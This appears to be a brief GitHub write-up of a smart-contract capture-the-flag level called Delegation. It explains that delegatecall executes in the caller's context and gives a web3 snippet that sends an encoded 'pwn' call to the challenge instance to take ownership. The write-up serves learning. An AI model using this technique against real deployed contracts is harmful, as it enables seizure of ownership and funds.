Skip to content

Latest commit

 

History

History
11 lines (9 loc) · 263 Bytes

6-delegation.md

File metadata and controls

11 lines (9 loc) · 263 Bytes

delegatecall will evaluate the call in the context of the contract that makes the call.

const data = web3.eth.abi.encodeFunctionCall({
    name: 'pwn',
    type: 'function',
    inputs: []
}, []);

sendTransaction({ from: player, to: instance, data })